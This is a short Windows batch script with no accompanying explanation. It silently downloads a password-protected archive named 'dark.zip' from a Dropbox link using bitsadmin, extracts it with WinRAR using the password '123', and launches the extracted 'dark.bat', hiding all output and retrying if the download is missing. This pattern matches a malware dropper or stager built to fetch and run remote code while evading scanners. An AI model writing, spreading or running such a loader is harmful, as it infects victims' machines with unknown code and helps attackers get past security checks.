@echo off
set "url=https://www.dropbox.com/scl/fi/jqn2ljp5i8bzub1kcs9e8/dark.zip?rlkey=tc89urzvpbcz29s5yesza4wcy&st=8j3fht11&dl=1"
set "filename=dark.zip"
set "password=123"
set "output_file=dark.bat"
set "retry_count=0"
set "max_retries=3"

bitsadmin /transfer mydownloadjob /download /priority normal %url% %filename% >nul 2>&1

:check_file
if exist "%filename%" (
    "C:\Program Files\WinRAR\WinRAR.exe" x -p%password% "%filename%" >nul 2>&1
    if exist "%output_file%" (
        start "" %output_file% >nul 2>&1
        exit /b
    )
) else (
    set /a retry_count+=1
    if %retry_count% leq %max_retries% (
        timeout /t 1 /nobreak >nul
        goto check_file
    )
    exit /b
)